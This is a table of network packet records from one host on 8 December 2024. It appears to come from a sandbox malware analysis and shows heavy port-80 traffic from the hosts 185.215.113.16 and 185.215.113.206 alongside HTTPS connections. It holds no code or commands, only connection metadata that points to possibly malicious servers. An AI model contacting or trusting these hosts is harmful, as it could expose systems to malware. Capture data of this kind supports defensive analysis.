Dec 8, 2024 00:48:58.196404934 CET	49834	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:58.196522951 CET	49834	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:58.196533918 CET	443	49834	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:58.761830091 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:58.762006998 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:58.787277937 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:58.906872034 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:59.226383924 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:59.226475000 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:59.233400106 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:48:59.352947950 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:48:59.353132010 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:48:59.353225946 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:48:59.472620964 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:48:59.652105093 CET	443	49830	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.652455091 CET	443	49831	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.652761936 CET	49830	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:59.652771950 CET	49831	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:59.652787924 CET	443	49830	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.652793884 CET	443	49831	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.653111935 CET	49830	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:59.653117895 CET	443	49830	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.653274059 CET	49831	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:59.653280020 CET	443	49831	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.670635939 CET	443	49832	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.671057940 CET	49832	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:59.671076059 CET	443	49832	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.671513081 CET	49832	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:59.671518087 CET	443	49832	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.676271915 CET	443	49833	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.676579952 CET	49833	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:59.676604033 CET	443	49833	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.676970005 CET	49833	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:59.676975965 CET	443	49833	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.911711931 CET	443	49834	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.912247896 CET	49834	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:59.912266970 CET	443	49834	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:59.912616968 CET	49834	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:59.912621975 CET	443	49834	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.085395098 CET	443	49830	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.086169004 CET	443	49831	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.089112997 CET	443	49830	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.089270115 CET	49830	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.089270115 CET	49830	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.089271069 CET	49830	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.089412928 CET	443	49831	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.089476109 CET	49831	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.089513063 CET	49831	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.089529991 CET	443	49831	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.089540005 CET	49831	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.089545012 CET	443	49831	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.092036009 CET	49836	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.092057943 CET	49837	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.092077017 CET	443	49836	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.092084885 CET	443	49837	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.092152119 CET	49836	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.092294931 CET	49837	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.092297077 CET	49836	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.092319012 CET	443	49836	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.092325926 CET	49837	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.092331886 CET	443	49837	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.104263067 CET	443	49832	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.107635021 CET	443	49832	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.107697010 CET	443	49832	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.107786894 CET	49832	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.107786894 CET	49832	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.107810020 CET	49832	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.107810020 CET	49832	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.107817888 CET	443	49832	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.107825994 CET	443	49832	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.109628916 CET	443	49833	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.109869003 CET	49838	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.109888077 CET	443	49838	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.109945059 CET	49838	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.110063076 CET	49838	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.110076904 CET	443	49838	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.113302946 CET	443	49833	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.113363028 CET	49833	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.113395929 CET	49833	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.113414049 CET	443	49833	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.113426924 CET	49833	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.113431931 CET	443	49833	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.115219116 CET	49839	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.115252018 CET	443	49839	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.115320921 CET	49839	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.115431070 CET	49839	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.115442038 CET	443	49839	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.315237999 CET	49830	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.315260887 CET	443	49830	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.345747948 CET	443	49834	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.345880985 CET	443	49834	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.346048117 CET	49834	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.346165895 CET	49834	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.346185923 CET	443	49834	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.346196890 CET	49834	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.346201897 CET	443	49834	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.349191904 CET	49840	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.349215984 CET	443	49840	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.349303961 CET	49840	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.349478006 CET	49840	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:00.349493027 CET	443	49840	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:00.685142040 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.685170889 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.685209036 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.685240984 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.686050892 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.686108112 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.686132908 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.686145067 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.686180115 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.686357975 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.686402082 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.686438084 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.686484098 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.686573982 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.686583042 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.686626911 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.687098026 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.687149048 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.804755926 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.804811954 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.804851055 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.804897070 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.808984995 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.809036970 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.809083939 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.809180975 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.878246069 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.878298998 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.878412962 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.878412962 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.880650043 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.880697966 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.880822897 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.880867004 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.889072895 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.889120102 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.889173985 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.889218092 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.897460938 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.897521019 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.897562981 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.897604942 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.905868053 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.905913115 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.905940056 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.905978918 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.914222002 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.914271116 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.914336920 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.914382935 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.922594070 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.922641039 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.922733068 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.922774076 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.930938959 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.931005001 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.931042910 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.931082964 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.939341068 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.939413071 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.939449072 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.939486980 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.947705984 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.947777033 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.947815895 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.947860956 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.954932928 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.955054998 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.955127954 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:00.962166071 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:00.962220907 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.070771933 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.070879936 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.070894957 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.071033001 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.073018074 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.073079109 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.073122025 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.073159933 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.077543974 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.077593088 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.077621937 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.077672005 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.082011938 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.082058907 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.082178116 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.082247972 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.086483955 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.086534023 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.086626053 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.086671114 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.090996027 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.091043949 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.091077089 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.091121912 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.095453978 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.095504045 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.095530033 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.095572948 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.099924088 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.099975109 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.100012064 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.100054979 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.104603052 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.104650974 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.104688883 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.104733944 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.108939886 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.108989000 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.109045982 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.109090090 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.113434076 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.113487959 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.113521099 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.113564014 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.117854118 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.117908001 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.117966890 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.118010998 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.122365952 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.122412920 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.122469902 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.122512102 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.126838923 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.126885891 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.126949072 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.126990080 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.131340027 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.131388903 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.131475925 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.131520033 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.135822058 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.135869980 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.135925055 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.135970116 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.140316010 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.140362024 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.140398026 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.140444040 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.144859076 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.144942999 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.144943953 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.144984961 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.149301052 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.149384975 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.149415970 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.149460077 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.153781891 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.153830051 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.153882027 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.153924942 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.158265114 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.158308029 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.158341885 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.158382893 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.162748098 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.162792921 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.162868977 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.162914991 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.167221069 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.167268991 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.262913942 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.263140917 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.263151884 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.263205051 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.264681101 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.264729023 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.265382051 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.265424967 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.265492916 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.265538931 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.269025087 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.269084930 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.269144058 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.269191980 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.272722006 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.272784948 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.272821903 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.272870064 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.276240110 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.276303053 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.276323080 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.276371002 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.279722929 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.279783964 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.279815912 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.279864073 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.283108950 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.283171892 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.283240080 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.283281088 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.286493063 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.286552906 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.286554098 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.286596060 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.289767027 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.289819956 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.289855003 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.289896011 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.292987108 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.293042898 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.293165922 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.293212891 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.296137094 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.296184063 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.296236992 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.296430111 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.299309015 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.299362898 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.299423933 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.299490929 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.302514076 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.302562952 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.302620888 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.302665949 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.305712938 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.305761099 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.305814981 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.305860996 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.308917046 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.308963060 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.309070110 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.309112072 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.312150002 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.312191963 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.312205076 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.312230110 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.315273046 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.315320969 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.315387011 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.315424919 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.318469048 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.318515062 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.318583965 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.318634987 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.321645021 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.321690083 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.321752071 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.321796894 CET	49835	80	192.168.2.7	185.215.113.16
